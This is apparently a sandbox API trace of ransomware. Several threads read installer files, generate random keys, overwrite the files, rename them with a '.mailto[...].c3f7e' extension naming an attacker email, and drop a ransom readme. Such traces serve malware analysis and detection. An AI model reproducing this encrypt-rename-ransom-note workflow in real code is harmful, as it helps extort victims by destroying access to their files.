	[0076.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e74088
	[0076.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47249c8
	[0076.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47249f0
	[0076.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249f0) returned 1
	[0076.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0076.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0076.166] WriteFile (in: hFile=0x9c4, lpBuffer=0x4e74088*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa70fd04, lpOverlapped=0x0 | out: lpBuffer=0x4e74088*, lpNumberOfBytesWritten=0xa70fd04*=0xc800, lpOverlapped=0x0) returned 1
	[0078.455] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e74088) returned 1
	[0078.459] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e67880) returned 1
	[0078.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bbac0
	[0078.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bbaf8
	[0078.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e341e0
	[0078.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4781150
	[0078.461] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.461] WriteFile (in: hFile=0x9c4, lpBuffer=0x4781150*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xa70fd84, lpOverlapped=0x0 | out: lpBuffer=0x4781150*, lpNumberOfBytesWritten=0xa70fd84*=0x113, lpOverlapped=0x0) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781150) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbaf8) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e341e0) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbac0) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249c8) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724950) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724978) returned 1
	[0078.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249a0) returned 1
	[0078.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986278
	[0078.660] wcscpy (in: _Dest=0x4986278, _Source="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml"
	[0078.660] wcscat (in: _Dest=0x4986278, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.660] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa70fd3c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a028
	[0078.660] NtSetInformationFile (FileHandle=0x9c4, IoStatusBlock=0xa70fd34, FileInformation=0x476a028, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.714] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a028) returned 1
	[0078.714] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5cf38) returned 1
	[0078.715] NtQueryInformationFile (in: FileHandle=0x9c4, IoStatusBlock=0xa70fd48, FileInformation=0xa70fd20, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa70fd48, FileInformation=0xa70fd20) returned 0x0
	[0078.715] NtSetInformationFile (FileHandle=0x9c4, IoStatusBlock=0xa70fd48, FileInformation=0xa70fd20, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.716] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986278) returned 1
	[0078.716] FlushFileBuffers (hFile=0x9c4) returned 1
	[0080.060] CloseHandle (hObject=0x9c4) returned 1
	[0080.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.172] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1053\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\"
	[0080.172] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1053\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1053\\C3F7E-Readme.txt"
	[0080.172] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\c3f7e-readme.txt")) returned 0x20
	[0080.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733590) returned 1

Thread:
	id = 210
	os_tid = 0xc28

	[0076.164] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80
	[0076.169] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0076.169] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b4
	[0076.169] GetFileSizeEx (in: hFile=0x9b4, lpFileSize=0xa78fc5c | out: lpFileSize=0xa78fc5c*=3859) returned 1
	[0076.170] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0xf0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.170] ReadFile (in: hFile=0x9b4, lpBuffer=0xa78fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa78fbdc, lpOverlapped=0x0 | out: lpBuffer=0xa78fbe0*, lpNumberOfBytesRead=0xa78fbdc*=0x4, lpOverlapped=0x0) returned 1
	[0076.171] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47249f0
	[0076.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.171] NtQuerySystemTime (in: CurrentTime=0xa78fbbc | out: CurrentTime=0xa78fbbc*=132251868029054739) returned 0x0
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x8f0fef4c
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xafe8fc2c
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x7f35fb52
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x6e451fc
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x7533dc22
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xa42419ea
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x4fc6b872
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xaac31f51
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xda4976b9
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x98afb18a
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x404d8dc3
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x78f1c81e
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xdc786bf5
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xf3b9657e
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x81921871
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x55a2bd89
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xd75e3645
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x65957ff3
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x8d82a8a6
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xeb90c933
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xd0423445
	[0076.171] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x15c53b11
	[0076.172] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x9dae6008
	[0076.172] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xc273b5d
	[0076.172] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xf5a2a214
	[0076.172] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x332d6316
	[0076.172] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xd0154f21
	[0076.172] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x977e6ca
	[0076.172] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0x80e45c29
	[0076.172] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xebc49db0
	[0076.172] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xd44850dd
	[0076.172] RtlRandom (in: Seed=0xa78fbc8 | out: Seed=0xa78fbc8) returned 0xb3fe7fd4
	[0076.181] ReadFile (in: hFile=0x9b4, lpBuffer=0x4e80890, nNumberOfBytesToRead=0xf13, lpNumberOfBytesRead=0xa78fbb8, lpOverlapped=0x0 | out: lpBuffer=0x4e80890*, lpNumberOfBytesRead=0xa78fbb8*=0xf13, lpOverlapped=0x0) returned 1
	[0076.182] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.182] WriteFile (in: hFile=0x9b4, lpBuffer=0x4e8d098*, nNumberOfBytesToWrite=0xf13, lpNumberOfBytesWritten=0xa78fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8d098*, lpNumberOfBytesWritten=0xa78fbb4*=0xf13, lpOverlapped=0x0) returned 1
	[0076.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e8d098) returned 1
	[0076.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e80890) returned 1
	[0076.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0076.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0076.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4724bf8
	[0076.183] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.183] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xa78fc1c, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xa78fc1c*=0x101, lpOverlapped=0x0) returned 1
	[0076.185] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.185] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724dd8) returned 1
	[0076.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724db0) returned 1
	[0076.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724a68) returned 1
	[0076.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249f0) returned 1
	[0076.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724a18) returned 1
	[0076.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724d10) returned 1
	[0076.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0076.186] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\1055\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf"
	[0076.186] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.186] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa78fbd4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0076.189] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0076.189] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b258) returned 1
	[0076.189] NtQueryInformationFile (in: FileHandle=0x9b4, IoStatusBlock=0xa78fbe0, FileInformation=0xa78fbb8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa78fbe0, FileInformation=0xa78fbb8) returned 0x0
	[0076.189] NtSetInformationFile (FileHandle=0x9b4, IoStatusBlock=0xa78fbe0, FileInformation=0xa78fbb8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0076.190] FlushFileBuffers (hFile=0x9b4) returned 1
	[0076.191] CloseHandle (hObject=0x9b4) returned 1
	[0076.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0076.192] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1055\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\"
	[0076.192] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1055\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1055\\C3F7E-Readme.txt"
	[0076.192] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\c3f7e-readme.txt")) returned 0xffffffff
	[0076.192] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b4
	[0076.192] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa78fbdc, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa78fbdc*=0x6f6, lpOverlapped=0x0) returned 1
	[0076.193] CloseHandle (hObject=0x9b4) returned 1
	[0076.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0076.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47309c0) returned 1

Thread:
	id = 211
	os_tid = 0x4d8

	[0076.183] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80
	[0076.183] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0076.185] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9c8
	[0076.188] GetFileSizeEx (in: hFile=0x9c8, lpFileSize=0xa80fd90 | out: lpFileSize=0xa80fd90*=76818) returned 1
	[0076.188] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x12c0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.188] ReadFile (in: hFile=0x9c8, lpBuffer=0xa80fd14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa80fd10, lpOverlapped=0x0 | out: lpBuffer=0xa80fd14*, lpNumberOfBytesRead=0xa80fd10*=0x4, lpOverlapped=0x0) returned 1
	[0076.195] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.195] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724f18
	[0076.195] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724ea0
	[0076.195] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e28
	[0076.195] NtQuerySystemTime (in: CurrentTime=0xa80fcf0 | out: CurrentTime=0xa80fcf0*=132251868029346270) returned 0x0
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x88fb1e15
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x1b9b215d
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xc4114dd0
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xe2b89c04
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xfac3e8dd
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x3842366f
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x78b1eb44
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xf8612a92
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x2c63c7b8
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x2923f322
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xf30ff5fb
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xf7667fc9
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x9267b37b
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x5890a903
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x11a04ad9
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xe463b96a
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x76d9683b
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x11a91630
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xa7a9e4ae
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x48d7c379
	[0076.195] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x3f835d1
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x8bbaaa98
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xed76a912
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xb651f22b
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0xd02aac33
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x66538d9e
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x16d421a7
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x64052cfc
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x882197c8
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x8ee4f509
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x14020cfb
	[0076.196] RtlRandom (in: Seed=0xa80fcfc | out: Seed=0xa80fcfc) returned 0x3d2e50bc
	[0076.204] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.204] ReadFile (in: hFile=0x9c8, lpBuffer=0x4e80890, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa80fcd0, lpOverlapped=0x0 | out: lpBuffer=0x4e80890*, lpNumberOfBytesRead=0xa80fcd0*=0xc800, lpOverlapped=0x0) returned 1
	[0076.205] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d739c0
	[0076.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04d38
	[0076.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e50
	[0076.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e50) returned 1
	[0076.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e8d098
	[0076.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724f40
	[0076.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724f68
	[0076.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724f68) returned 1
	[0076.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0076.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0076.207] WriteFile (in: hFile=0x9c8, lpBuffer=0x4e8d098*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa80fcd0, lpOverlapped=0x0 | out: lpBuffer=0x4e8d098*, lpNumberOfBytesWritten=0xa80fcd0*=0xc800, lpOverlapped=0x0) returned 1
	[0078.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e8d098) returned 1
	[0078.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e80890) returned 1
	[0078.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bbb30
	[0078.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bbba0
	[0078.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34208
	[0078.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.464] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.464] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.464] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4897858
	[0078.464] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
